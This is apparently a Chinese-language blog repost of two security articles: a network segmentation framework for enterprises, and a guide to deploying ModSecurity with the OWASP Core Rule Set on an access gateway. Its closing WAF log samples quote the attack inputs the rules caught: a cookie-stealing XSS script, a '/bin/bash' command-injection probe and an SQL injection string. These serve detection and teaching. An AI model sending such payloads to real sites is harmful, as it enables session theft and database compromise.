在过去,应用程序和服务更简单,在企业中并不普遍。只有少数几个应用程序被选定的用户组在整个企业中使用。这些应用程序被放置在一个由一组安全和监视产品保护的数据中心中。尽管此模型相对简单,但它对托管在数据中心内的应用程序缺乏保护。此外,应用程序通常由防火墙分组和分隔。然而,当两个应用程序是同一个应用程序组的一部分时,此模型对它们之间的通信缺乏保护。
用户和数据移动:
用户不局限于办公室的物理边界。在这个数字时代,没有国界。传统的数据保护模式不再适用。用户可以在任何地方,使用任何设备,随时访问数据,并通过有线、无线或移动基础设施连接。随着智能设备的发展,对数据的访问不限于公司发布的设备。如果珠宝不在城堡里,你的城堡有多安全并不重要。数据本身可以是任何地方——企业数据中心、云(公共、私有、混合)或合作伙伴的网络,举几个例子。
数据可见性和监控:
超过50%的网络攻击在数月内都没有被组织发现。如果您对您的IT基础架构没有完全的可见性,如果您不知道谁在访问您的网络,他们在做什么,他们从哪里来,他们使用什么设备,以及他们如何从网络的一部分跳到另一部分,你如何保护自己免受威胁(有意或无意,直接或间接)?由于缺乏确定流量模式的区域,监控成为一个更大的挑战。
一旦可以接受的安全措施,如分割网络、配置VLAN、部署防火墙和创建虚拟路由表,就不再足够了。将用户和应用程序放入VLAN,并通过访问控制列表过滤流量,可实现有限的流量分离。随着网络虚拟化、云的采用和设备的激增,在允许访问关键数据之前,必须查看连接的整个上下文。随着网络威胁的不断演变,在网络层提供严格的分割不足以确保完整的数据保护。
数据驱动分割框架
我们需要的是一种新的方法,它能够适应当今以应用程序为中心的业务环境,能够结合来自不同来源的威胁情报,并且能够围绕端到端的数据连接构建完整的上下文。这种方法可以根据对应用程序、用户、使用者、威胁参与者和设备的理解,通过构建适当的访问控制方法,动态地划分这些数据连接。目前还没有一个框架可以将基础设施分解为单独的组件,在相关组件之间建立连接,然后应用访问控制模型来实现完全的流量隔离。我们需要一个超越技术控制和产品的框架,这些技术控制和产品通常作为解决这些安全问题的辅助手段部署,一个为高级管理层和网络架构师提供蓝图的框架,以确保分割是总体战略中不可或缺的一部分。
本文提出了一个框架,如图3所示,它以企业的业务关键资源为中心。此框架有助于识别需要访问这些资源的元素,围绕这些元素构建墙,然后应用访问控制策略来授权连接。完成本文所述的细分过程练习将迫使组织详细评估其网络安全计划,因为只有在微观层面上对企业的所有部分进行评估后,才能实现真正的细分,包括将基础结构组件分解为对象并建立适当的关系。
图3:数据驱动的分割框架
框架由以下组件组成:
业务关键资源:
建议的框架从逻辑上分解网络基础设施开始,并将业务关键资源放在体系结构的中心。业务关键型资源可以是您想要保护的任何内容,以防止未经授权的用户或对象访问。例如,如果您从事零售业务,它可能是您的PCI网络。如果你在医疗行业,它可能是存放病人信息的服务器。如果你是在汽车工业,它可能是包含你的下一辆车蓝图的系统。重要的是,您有一个适当的流程,让您可以看到您的网络元素,并知道它对您的价值,以防关键资源受到损害。如果数据泄露给未经授权的实体,则必须确定所涉及的适当风险。
对象:
一旦你知道你的关键资源是什么,下一步就是把你的网络架构分解成不同的对象。这些对象是用于交换数据内容的离散元素。对象的常见示例包括用户社区、访问网络的设备、为您的使用提供或承载数据的应用程序,以及提供与应用程序连接的系统。在这里,您将标识驻留在网络上或需要访问您的数据的所有元素。不仅如此,您还要识别这些对象以了解数据交换流。
当您开始识别每个对象的子元素时,这些对象对构建分割模型的影响显著增强。属于销售、工程、服务、营销、人力资源和合作伙伴组织的用户都可以是用户子对象的示例。有关每个对象定义的子元素列表,请参见表1。
表1
对象 | 定义 | 子对象示例 |
---|---|---|
用户 | 可以提供分配的标识信息的对象 | 销售、工程、服务、营销、人力资源、合作伙伴组织 |
设备 | 需要访问基础设施以请求和接收数据的对象 | 公司发行的笔记本电脑、公司发行的移动设备、个人移动设备、IT拥有的打印机和扫描仪 |
系统 | 控制应用程序和设备之间数据连接的对象 | 虚拟主机、管理程序、软件映像、后端数据库 |
应用 | 通过某些接口直接或间接访问数据的对象 | Web服务器,AD/DNS/NTP服务器 |
识别和创建子对象将允许组织在这些元素之间建立信任关系。信任关系可以在两个不同的对象或子对象之间建立,也可以在同一元素的两个子对象之间建立。如图4所示,在企业中标识了两个应用程序,活动目录(AD)和网络时间协议(NTP)。根据它们之间的关系和数据交互,属于AD的对象需要与NTP中的对象通信以同步它们的时钟。问题是,当NTP中的对象试图访问AD中的对象时,是否需要提供对这些对象的访问权限?答案取决于您的网络实现。不要盲目地允许这些对象之间的完全通信。如果您觉得NTP服务器需要与AD服务器通信,那么就允许它。
图4:应用程序到应用程序细分
分段策略允许组织根据信任模型验证源对象发出的请求,然后提供应用适当的强制操作以保护目标对象的方法,如图5所示。
图5:分段策略示例
地点:
如前所述,我们倾向于把珠宝放在一个安全的地方,在周围建立一个安全的边界。我们没有意识到的是,小偷可能会尝试不同的方法来偷你的东西。他们不会总是从外面进来。他们可能已经在你的安全屋里,或者已经可以通过其他途径接触到你的珠宝。框架需要确定关键资源的所有入口点。随着越来越多的云服务的采用,一些数据可以在控制点之外访问。云中托管的服务也有可能访问数据中心中的数据。
根据业务的性质,您可能有一个需要访问特定数据的合作伙伴生态系统。你知道他们从哪里连接,或者他们如何访问你的数据吗?你确定他们没有权限访问未经授权的数据吗?框架内的灵活性允许您根据您的组织结构和需要逻辑地将一个位置拆分为特定区域。有关位置、其定义和子位置列表的示例,请参见表2。
表2
位置 | 定义 | 子对象示例 |
---|---|---|
内部 | 用户和设备连接到访问网络的网络的一部分 | 用户、访客、实验室、生产子网、VPN、工业控制空间 |
外部 | 网络的一部分,通常不在您的控制范围内,您可能不知道访问您的数据的用户或设备 | Internet, Extranet |
云 | 网络的一部分,由提供商管理和维护,可以访问您的DMZ网络 | AWS, Azure, Salesforce.com |
供应商 | 供应商和其他合作伙伴连接的网络的一部分 | Extranet, partner subnet |
通过对网络的这种分解,您应该能够确定属于工业控制区域的设备是否需要访问您的用户网络。
标识:
框架最重要的组件之一是确定对象的标识,无论它们是用户、设备还是应用程序。通过现有的用户数据库可以相对容易地找出用户的身份。您是否有确定设备或应用程序标识的过程?您知道用户是从公司发行的设备还是从个人拥有的移动设备请求访问数据吗?
同样,对于大型工业制造商,可能有许多供应商定期访问制造厂,对现场设备进行维修和故障排除。必须确定请求访问网络所有部分的对象的标识。您是否允许您的供应商完全访问您的内部网络?
监控:
如果您对网络体系结构没有完全的可见性,则任何安全框架都是不完整的。安全监控是通过收集、检查和分析各个安全区域的流量来实现的。这包括从以下位置收集数据:
- 边缘的IPS系统,用于检查和分析从外部进入网络的流量
- 不同对象之间的防火墙,以发现标识并实施适当的安全控制
- 设备探查器,以发现尝试请求网络访问的设备类型
- NetFlow系统帮助您识别通过网络的流量类型,更重要的是,帮助您识别应用程序的使用情况
操作安全:
许多人常常认为信息和网络安全只是技术和产品的问题,关注的是它们的可靠性和复杂性。他们常常忽视根据资产的安全风险来评估业务目标。缺乏可信和相关的安全操作流程通常会导致安全漏洞,包括个人和/或机密数据被盗。例如,在数据泄露的情况下,您是否知道:
- 哪个设备是零号病人?
- 攻击者如何访问数据?
- 发现恶意事件需要多长时间?
- 控制这一事件需要多长时间?
- 操作人员执行了哪些流程来检测异常情况?
- 事件的生命周期是什么?
- 修补程序管理或事件管理流程是否得到正确遵循?
这些只是一些例子,但列表可能要长得多。目标是为每个高级流程(或操作区域)定义一组子流程,然后为每个子流程构建度量。更重要的是,将这些指标组合成一个模型,用于跟踪运营改进。
行为分析:
在目前讨论的所有不同组件中,行为分析是最重要的。它把所有的东西组合在一起,完成了这个框架。一旦您知道哪些设备正在连接到您的网络,哪些应用程序正在托管,谁在请求访问,以及对象的位置,您就可以为连接请求构建一个全面的上下文,并创建一个分段策略来授权或拒绝会话。要实现这一点,您需要准备好以下模块:
- 用于发现对象(用户、设备、应用程序、系统)的标识模块
- 位置模块以了解请求的发起位置
- 监控模块从所有适当的源(如路由器、防火墙、交换机、NG-IPS、探查器、应用程序、管理程序)收集数据
- 安全操作中心(SOC)中分析员调查异常和控制安全事件的操作安全模块
图6提供了一个示例,其中销售团队的一个用户请求访问一个数据库,该数据库包含该地区所有客户的联系信息。这个请求来自目前位于用户家中的iPad。我们如何知道这个连接的属性?让我们把它分解。假设数据库及其前端应用程序位于一个安全的数据中心中,没有外部访问权限,则用户有两种访问客户信息的选项:
- 从公司网络连接
- 或者,建立到网络的安全连接(例如SSL VPN)
如果连接请求来自为VPN用户分配的子网,我们知道该用户位于公司网络之外(可能在其家中)。根据身份验证凭据,用户将被放入销售容器中。最后,profiler帮助识别设备类型并将其放入iPad部分。现在我们已经拥有了这个请求的所有信息,行为分析应用授权操作的访问模型并隔离连接。
图6:基于上下文的分段策略
这个框架的优点是它可以帮助您划分任何对象。无论您有在云中托管数据的应用程序、在数据中心中包含数据的主机,还是可以访问云中和私有数据中心中的数据的应用程序,该框架都为您提供了用于构建对象特定区域、创建连接上下文和动态应用访问控制模型的工具。
分割策略
在企业中制定细分战略是确保实施成功的基础。在设计分段时,大多数网络架构师或工程师都将注意力集中在更大的网络区域:DMZ、Core、数据中心、广域网、校园网等。虽然这是一个很好的第一步,但还不足以应对当今的安全威胁。大多数机会主义攻击者利用隔离有限的事实,允许他们在网络中自由漫游。
框架只有在有实现策略的情况下才有用。该战略应足够全面,以提供企业保护其珠宝所需的所有工具。本文阐述了一个细分策略生命周期,它从识别现有资源和加入任何新资产或资源开始。以下小节将更详细地讨论每个步骤。
图7:细分策略步骤
识别:
如前所述,分割应该基于关键业务资产或资源的价值,而不仅仅是基于网络边界。攻击者的第一步是侦察。这基本上就是分割策略的第一步:识别资源(数据和资产)。
为了保护(或危害)网络,收集有关网络上可能存在的各种弱点的情报是很重要的。攻击者利用这些弱点侵犯其他资源,使攻击者有权访问所有关键资源。这使得任何类型的资源,即使是被认为具有低价值的资源,如果被用作网络的入口点,并导致一个更有价值的目标,都是非常有价值的。要问的问题是:
- 如果被破坏,对资源有什么影响?
- 资源被破坏的可能性有多大?
这些资产或对象本质上主要是数字的,可以包括但不限于:
- 硬件:服务器、网络设备、工作站、手持设备、IP电话、物理安全组件、连接的外围设备和附件,如打印机、扫描仪、IP电话、语音和视频协作工具
- 软件:操作系统、服务器和客户端应用程序、固件
- 文档:网络图、资产信息、产品设计、员工信息
资产的价值不是基于其物理硬件的价值,而是基于其包含的数据的价值。如果一台包含员工私人信息的iPad被盗,那么损失的总价值不仅仅是更换500美元iPad的成本。
分类:
这项工作的结果是全面了解网络上的资源及其风险分类和评级。组织应该了解各种资源之间的关系,而不是单独对待它们。一个低价值目标最终可能提供对一个非常高价值目标的访问,因此整个链应该受到充分控制的保护。根据组织的规模,这可能是最耗时的步骤之一。可以遵循各种方法和/或框架,对网络中存在的资源进行彻底评估[2][3][4]。
现在,您应该能够进入创建分段策略的下一步,该策略使用每个资产的值来确定应如何保护它。例如,如果用户工作站被视为低值目标,但用于危害高值系统(如员工数据库),则还应根据其访问的资源对工作站进行分段。
策略创建:
大多数网络安全程序没有明确要求分段策略。它通常在程序中的各个主题中被间接地提到,不幸的是,这并没有给予它足够的重要性或价值。例如,访问控制策略可能会指出人力资源员工不应如何访问财务系统。这可以简单地通过防火墙上的访问控制列表和VLAN来实现,VLAN可以保护资源,但不一定关注分段本身。
应该根据在前面步骤中收集的有关资源的数据来构建分段策略。这个策略应该从高层次开始,通过传统的网络边界(如DMZ、数据中心和校园)隔离各个区域,然后逐步深入到每个区域。这个过程应该一直持续到应用程序本身,本质上是向上移动OSI模型的层。一旦发现所有对象(甚至子对象),应根据这些对象的类型和位置以及请求访问托管或包含数据的各种资源的用户来制定策略。深度取决于资产的关键程度,因为在某些情况下,为某项资产进行整个流程的相关成本可能是不合理的。
图8:钻入区域
考虑两种资产:
第一种是保存信用卡信息的服务器,第二种是开发团队用于内部测试的SMTP服务器。任何一种资产的折衷都会导致一些损失;然而,一种资产的价值要比另一种资产的价值高很多。丢失客户信用卡数据会给组织带来巨大的金钱和法律损失。这需要一个组织分配足够的资源来确保这样的资产得到良好的保护。
一旦创建了分段策略,就应该通过各种访问控制模型来实现这些控制。
访问控制建模:
有多个访问控制模型可供选择[5]。使用哪种模型取决于场景。
网络工程师最熟悉基于网络的ACL,虽然它们是控制较大区域之间的访问的好方法,但很难使它们细化,特别是因为它们大多是静态的,并且随着时间的推移很难管理。我们采用的模型是多个模型的混合,一个不完全依赖OSI第3层和第4层,但也考虑了多个访问控制模型。这包括但不限于:
- 基于属性的访问控制(ABAC)
- 基于角色的访问控制(RBAC)
- 基于身份的访问控制(IBAC)
- 基于规则的访问控制(RuBAC)
- 表3提供了访问控制模型的示例。
表3
身份 | 属性 | 角色 | 画像 |
---|---|---|---|
公司Windows工作站上的HR用户 | User group: HR endpoint profile: Windows device auth: Successful | HR | 访问人力资源系统和网络代理 |
HP 打印机 | Endpoint profile: HP printer device auth: Successful | Printer | 仅从打印服务器访问 |
使您能够实现所述模型的一个解决方案是Cisco TrustSec。
执行:
一旦定义了访问控制模型并在此模型中映射了适当的策略,下一步就是实现这些控制。这涉及到周密的计划,这将导致相关技术的采购、设计和实施。这可以分为以下几个阶段:
- 计划
- 采购
- 设计
- 实施/迁移
- 监视
图9:执行阶段
计划和采购:
执行的这一阶段需要列出满足细分策略目标的需求列表。一旦你对保护什么和保护什么有了准确的理解,下一步就是确定需要哪些工具、技术和程序来提供这种保护。重要的是不要从在整个组织中实施细分战略开始。这导致了高昂的成本,需要大量的资源。根据您的数据/资源分类和访问控制模型,通过对处理和存储业务关键型数据的组织部分进行优先级排序来构建实施计划。你不会一夜之间拥有一个完全细分的基础设施。这是一次可能需要几个月甚至几年的旅程。从第一天起,正确的战略将确保以最具成本效益的方式取得成功。
整个执行需要通过适当的程序管理来执行。多个团队将需要管理:IT、采购、人力资源、财务和法律,并有公平的交叉对话,以确保顺利进行。
一旦需求明确,组织可以浮动一个RFP(直接或间接通过合作伙伴),并根据响应评估哪些技术最适合实施细分所需的控制。强烈建议通过飞行员或概念验证来验证这些技术,以确保它们满足要求并通过各种烟雾测试。遗漏关键功能可能会导致不必要的延迟,在某些情况下,可能会导致后期安全问题的解决方案或折衷方案。
设计:
在大多数情况下,组织的首席架构师或外部顾问将监督产品供应商创建的设计。在细分方面,设计应侧重于核心要素,包括:
- 位置:资源在网络中的位置,以及如何与网络的其他部分分割?
- 设备和应用程序:资源是否需要访问其他资源?其他资源需要访问吗?例如,多层应用程序可能有前端(web)、中间件或后端(数据库)。每个服务都在自己的容器中运行吗?每个服务对其他服务有什么特权?服务之间的关系是什么?
- 用户:正常情况下,用户设备不需要直接相互通信。这是怎么处理的?用户可以访问什么?组织如何证明用户的端点具有相同的访问级别,而不管其位置如何?
该设计基于供应商在其自身环境中进行的测试,以确保在初始规划和采购阶段工作期间所承诺的所有功能和功能符合预期。如果涉及多个供应商,并且需要在所有供应商之间进行集成,则应在组织的过渡网络上执行阶段期间要求进行测试。
在这个阶段或更早的阶段,确定试点设置是很重要的,这将涉及到多个利益相关者和工作人员的参与。试点的目的是使用资源(人员、流程、技术和技术)测试所有特性,以便在向整个企业推出之前解决任何挑战和问题。
一旦设计完成,就是开始实现的时候了。此时,任何硬件或软件都应该已经交付。对于硬件,应该对其进行机架、堆叠、连接和通电,并进行任何初步的后期测试,以确保其正确启动。
实现和测试:
实现阶段假设所有硬件都已测试并按预期工作。在后期测试期间可能失败的任何组件都应该被替换并准备好进行配置。实现应该遵循基于设计创建的计划。这包括供应商在设计阶段已经在其环境中测试和验证的详细配置。
必须执行测试,以确保所有操作都按照解决方案的规范和预期进行。测试应遵循正确的方法,并应评估随后记录的功能和特性。测试过程中遇到的任何问题都应与供应商一起解决,并在进入实施阶段之前予以纠正。
如前所述,试验对这一阶段很重要,应在功能和特性测试完成后进行。测试性能、弹性、用户体验和互操作性,并解决在初始阶段可能忽略的任何问题。试验阶段还应跨越地点、部门、技术和资源。这种接触确保所有利益攸关方都参与这一进程,并将努力妥善解决所面临的任何挑战。
监控:
这一步在大多数企业中并不重要。监视是保护网络不受入侵者攻击并确保系统和网络按规范运行的关键。监视标志着整个分段策略的高潮,是将人员、流程和技术聚集在一起以保持受保护资源的完整性的粘合剂。密切关注网络不仅可以方便地检测到任何异常活动,而且有助于识别在初始过程中可能丢失的任何资源,无论是新的还是现有的。这将决定是否需要整个分段生命周期中的另一个迭代。
References
Choosing the Right Segmentation Approach
http://www.dmnews.com/dataanalytics/choosing-the-right-segmentation-approach/article/68918/
An Introduction to Information System Risk Management
https://www.sans.org/reading-room/whitepapers/auditing/introduction-information-system-risk-management-1204
Managing Information Security Risk
http://csrc.nist.gov/publications/nistpubs/800-39/SP800-39-final.pdf
TOGAF Version 9.1
http://pubs.opengroup.org/architecture/togaf9-doc/arch/
Access control - Access control models from Wikipedia
https://en.wikipedia.org/wiki/Access_control#Access_control_models>
原文:https://tools.cisco.com/security/center/resources/framework_segmentation
本文:http://jiagoushi.pro/node/1048
讨论:请加入知识星球【首席架构师圈】或者小号【jiagoushi_pro】
- 42 次浏览
【网络安全】让ModSecurity和核心规则集 增强 访问网关
介绍
ModSecurity是一种流行的开源工具,最初设计为Apache HTTP服务器的模块,用于保护Web应用程序。它是一个Web应用程序防火墙(WAF),主要用于实时Web应用程序监视,日志记录和访问控制。
为何选择ModSecurity
ModSecurity有两个主要方面,可以在Access Gateway中非常有效地利用。首先,ModSecurity的核心是允许管理员实时访问HTTP流,并具有解析它的能力。这对于实时安全监控至关重要。第二个方面是它允许对外部各方的行为进行持续的安全评估,以及系统本身在后台的行为。它是第一道防线,可以在被利用之前检测到许多异常和安全漏洞的痕迹。
在本文中,ModSecurity被部署为Apache模块,因此嵌入到Access Gateway中。因此,Access Gateway的资源由ModSecurity共享。更多细节将在本文的后面部分中介绍。
这篇文章是什么
本文详细介绍了以下几个方面:
- 如何在Access Gateway上启用ModSecurity
- 安装Open Web Application Security项目的核心规则集
- 配置ModSecurity详细/监控模式
- 对性能的影响
规则和核心规则集(CRS)3.x
ModSecurity是一个需要规则的引擎。规则使其成为一个非常强大且通用的引擎,可将HTTP请求和响应控制到字节级别。为了充分利用其功能,ModSecurity提供了一种平台,一种规则配置语言,称为“SecRules”,用于基于规则对HTTP通信进行实时监控,记录和过滤。
ModSecurity最常用于使用开放式Web应用程序安全项目(OWASP)核心规则集(CRS)提供针对一般漏洞类的保护。这是一套用ModSecurity的SecRules语言编写的开源规则。 CRS旨在保护Web应用程序免受各种攻击,包括OWASP十大攻击,并且只需最少的虚假警报。核心规则集提供针对许多常见攻击类别的保护,包括:
- SQL注入(SQLi)
- 跨站点脚本(XSS)
- 本地文件包含(LFI)
- 远程文件包含(RFI)
- 远程执行代码(RCE)
- PHP代码注入
- HTTP协议违规
- HTTPoxy
- Shellshock
- 会话固定
如何安装ModSecurity和CRS
ModSecurity tarball具有ModSecurity Apache模块Ver 2.9.2和OWASP的Core Rule Set Ver 3.0.2。
请按照下面提到的步骤启用带有CRS的ModSecurity模块:
- 下载附加的tarball并将其复制到/ etc / opt / novell / apache2 / conf /
# cp ModSecurity.tar.gz /etc/opt/novell/apache2/conf/ # cd /etc/opt/novell/apache2/conf/
- 解压缩tarball。
#tar -zxvf ModSecurity.tar.gz
- 在/ etc / opt / novell / apache2 / conf /下将有一个新目录ModSecurity。在/ etc / opt / novell / apache2 / conf /下复制两个新目录,如下所示:
# cp -r ModSecurity/modsec.d /etc/opt/novell/apache2/conf/ # cp -r ModSecurity/owasp-modsecurity-crs-3.0.2 /etc/opt/novell/apache2/conf/
- 创建符号链接。
#ln -s owasp-modsecurity-crs-3.0.2 crs
- 删除未使用的文件和文件夹
#rm -r ModSecurity ModSecurity.tar.gz
- 将modSecurity模块复制到相应的Apache目录。
对于NAM 4.4.3
#cp ModSecurity / 4.4.3 / mod_security2.so / opt / novell / apache2 / libexec /
对于NAM 4.4.2
#cp ModSecurity / 4.4.2 / mod_security2.so / opt / novell / apache2 / libexec /
- 打开/etc/opt/novell/apache2/conf/httpd.conf。
在httpd.conf文件的LoadModule部分的开头添加以下行。
LoadModule security2_module libexec / mod_security2.so
取消注释同一部分中提供的以下行。
LoadModule unique_id_module libexec / mod_unique_id.so
- 将以下设置添加到AG Global Advanced Option。
<IfModule security2_module> SecRuleEngine Off Include /etc/opt/novell/apache2/conf/modsec.d/modsecurity-base.conf Include /etc/opt/novell/apache2/conf/modsec.d/crs.conf </IfModule>
- 将以下设置添加到代理服务的高级选项,以启用具有详细模式的ModSecurity Rule Engine。
<IfModule security2_module> SecRuleEngine DetectionOnly </IfModule>
有一些配置/指令对于ModSecurity和CRS按预期一起工作至关重要,而不会产生任何意外情况。
以下部分介绍了一些设置及其用法,并提供了详细说明。 ModSecurity和CRS的README和conf文件也可用于参考。
高级配置或设置
在生产环境中启用ModSecurity时,始终存在一些风险和影响。存在误报的可能性,阻止合法用户访问资源,性能下降等。当ModSecurity部署为破坏模式时,机会很高。
以下是一些通用和推荐的设置,这些设置使ModSecurity不那么冒犯,并且永远不会阻止任何请求。
它是详细的模式,其中为检测到的任何安全威胁创建单独的日志。
还有一些设置可以衡量对性能和其他服务器资源的影响。
在上述安装步骤中复制的配置文件(crs-setup.conf和modsecurity-base.conf在路径/ etc / opt / novell / apache2 / conf /中可用)已启用以下设置。
详细模式
设置ModSecurity规则引擎来处理规则但从不执行任何破坏性操作(阻止,拒绝,丢弃,允许,代理和重定向)是通过以下方式完成的:
SecRuleEngine DetectionOnly
注意:管理员可以将其设置为开启,并在第一轮测试和性能影响分析后使用其他设置,如异常阈值,采样百分比等。
ModSecurity生成的日志使用以下方式转储到新文件:
SecDebugLog / var / log / novell-apache2 / modsec_log
调试日志数据的详细程度如下所示
SecDebugLogLevel 3
级别1-3的消息始终复制到Apache错误日志。因此,管理员可以使用级别0作为生产性能中的默认日志级别非常关键。话虽如此,最好使用的值是3,因为在详细模式下ModSecurity,分析与ModSecurity相关的警告和错误将更容易。
异常得分
具有异常评分模式的CRS是默认和推荐模式,因为它提供最准确的日志信息,并在设置阻止策略时提供最大的灵活性。在此模式下,每个匹配规则都会增加“异常分数”。 CRS中的每个规则都具有关联的严重性级别。这些是每个严重性级别的默认评分点。如果规则匹配,这些设置将用于增加异常分数。这些分数是累积的。因此,请求可以达到多个规则。
在异常模式下,还有一个阻止阈值级别。这是到达入站请求或出站响应被阻止时的级别。阻止评估规则应用破坏性操作,理想情况下返回错误403.通常的做法是启动具有提升的异常评分阈值(> 100)的新CRS安装,然后随着您对设置的信心增长而降低限制。
当前异常模式阻止入站请求的阈值级别设置为500,因为该想法不是在测试阶段阻止请求。如果请求达到500,那么请求或配置错误确实很糟糕。以下是当前设置:
SecAction "id:900100, phase:1, nolog, pass, t:none, setvar:tx.critical_anomaly_score=5, \ setvar:tx.error_anomaly_score=4, setvar:tx.warning_anomaly_score=3, \ setvar:tx.notice_anomaly_score=2" SecAction "id:900110, phase:1, nolog, pass, t:none, setvar:tx.inbound_anomaly_score_threshold=500, \ setvar:tx.outbound_anomaly_score_threshold=500"
注意:仅当SecRuleEngine设置设置为On时,具有破坏性操作的异常设置才有效
偏执狂水平
偏执等级(PL)设置允许管理员选择所需的规则检查级别。随着每个偏执级别的增加,CRS启用了额外的规则,为您提供更高级别的安全性。然而,较高的偏执水平也增加了由于误报(误报)阻止某些合法流量的可能性。偏执级别为1是默认值。在此级别中,启用了大多数核心规则。 PL1建议初学者,涵盖许多不同站点和应用程序的安装,以及具有标准安全要求的设置。在PL1,误报是非常罕见的。这是默认设置
SecAction "id:900000, phase:1, nolog, pass, t:none, setvar:tx.paranoia_level=1"
采样
将核心规则集添加到现有生产站点可能会导致误报,意外性能问题以及其他不良副作用。首先通过仅为有限数量的请求启用CRS来测试水是有益的,然后在解决问题后增加信心,提高发送到规则集的请求的比率。通过以下设置调整汇集到核心规则中的请求百分比。
SecAction "id:900400, phase:1, pass, nolog, setvar:tx.sampling_percentage=25"
因此,只有四分之一的总流量将通过CRS。
允许的HTTP方法
目前,几乎所有的HTTP方法都允许如下。
SecAction "id:900200, phase:1, nolog, pass, t:none, setvar:'tx.allowed_methods=GET HEAD POST OPTIONS PUT PATCH DELETE CHECKOUT COPY DELETE LOCK MERGE MKACTIVITY MKCOL MOVE PROPFIND PROPPATCH PUT UNLOCK'"
Protocol version
允许的HTTP版本是HTTP / 1.0 HTTP / 1.1 HTTP / 2 HTTP / 2.0
SecAction "id:900230, phase:1, nolog, pass, t:none, setvar:'tx.allowed_http_versions=HTTP/1.0 HTTP/1.1 HTTP/2 HTTP/2.0'"
禁止的文件扩展名
为了防止意外暴露开发/配置文件,以限制访问以下扩展。
SecAction "id:900240, phase:1, nolog, pass, t:none, setvar:'tx.restricted_extensions=.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/'"
文件系统配置
需要ModSecurity来存储本地文件系统下的临时文件和一些持久数据。使用以下指令将当前设置设置为/ tmp。但是,/ tmp不太理想,建议指定私有的位置。
SecTmpDir /tmp/ SecDataDir /tmp/
如何分析ModSecurity日志文件
以下是ModSecurity使用CRS检测到任何威胁时生成的一些日志样本:
[himmagapp.novell.com/sid#562e6c2e9140][rid#7fae48014ef0][/bajesh/HIMDEEP/modsec/aaa.html][2] Warning. detected XSS using libinjection. [file "/etc/opt/novell/apache2/conf/crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "64"] [id "941100"] [rev "2"] [msg "XSS Attack Detected via libinjection"] [data "Matched Data: via found within ARGS_NAMES:<SCRIPT>alert(\x5cxe2\x5cx80\x5cx9cCookie\x5cxe2\x5cx80\x5cx9d document.cookie)</SCRIPT>: <SCRIPT>alert(\x22Cookie\x22 document.cookie)</SCRIPT>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "9"] [tag "Default-Action2-ModSec"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "OWASP_CRS/WEB_ATTACK/XSS"] [tag "WASCTC/WASC-8"] [tag "WASCTC/WASC-22"] [tag "OWASP_TOP_10/A3"] [tag "OWASP_AppSensor/IE1"] [tag "CAPEC-242"]
[himmagapp.novell.com/sid#562e6c2e9140][rid#7fae48014ef0][/bajesh/HIMDEEP/modsec/aaa.html][2] Warning. Matched phrase "document.cookie" at ARGS_NAMES:<SCRIPT>alert(\xe2\x80\x9cCookie\xe2\x80\x9d document.cookie)</SCRIPT>. [file "/etc/opt/novell/apache2/conf/crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "303"] [id "941180"] [rev "2"] [msg "Node-Validator Blacklist Keywords"] [data "Matched Data: document.cookie found within ARGS_NAMES:<SCRIPT>alert(\x5cxe2\x5cx80\x5cx9cCookie\x5cxe2\x5cx80\x5cx9d document.cookie)</SCRIPT>: <script>alert(\x22cookie\x22 document.cookie)</script>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "Default-Action2-ModSec"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "OWASP_CRS/WEB_ATTACK/XSS"] [tag "WASCTC/WASC-8"] [tag "WASCTC/WASC-22"] [tag "OWASP_TOP_10/A3"] [tag "OWASP_AppSensor/IE1"] [tag "CAPEC-242"]
[himmagapp.novell.com/sid#562e6c2e9140][rid#7fae48014ef0][/bajesh/HIMDEEP/modsec/aaa.html][2] Warning. Matched phrase "bin/bash" at ARGS:exec. [file "/etc/opt/novell/apache2/conf/crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "448"] [id "932160"] [rev "1"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: bin/bash found within ARGS:exec: /bin/bash"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "Default-Action2-ModSec"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"]
[himmagapp.novell.com/sid#562e6c2e9140][rid#7fae4401f9c0][/bajesh/HIMDEEP/modsec/aaa.html][1] Access denied with code 400 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/opt/novell/apache2/conf/crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "57"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "Default-Action2-ModSec"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic”]
[himmagapp.novell.com/sid#562e6c2e9140][rid#7fae48004980][/bajesh/HIMDEEP/modsec/testpost.php][2] Warning. detected SQLi using libinjection with fingerprint 's&sos' [file "/etc/opt/novell/apache2/conf/crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "68"] [id "942100"] [rev "1"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: s&sos found within ARGS:username: 1' or '1' = '1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "Default-Action2-ModSec"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] 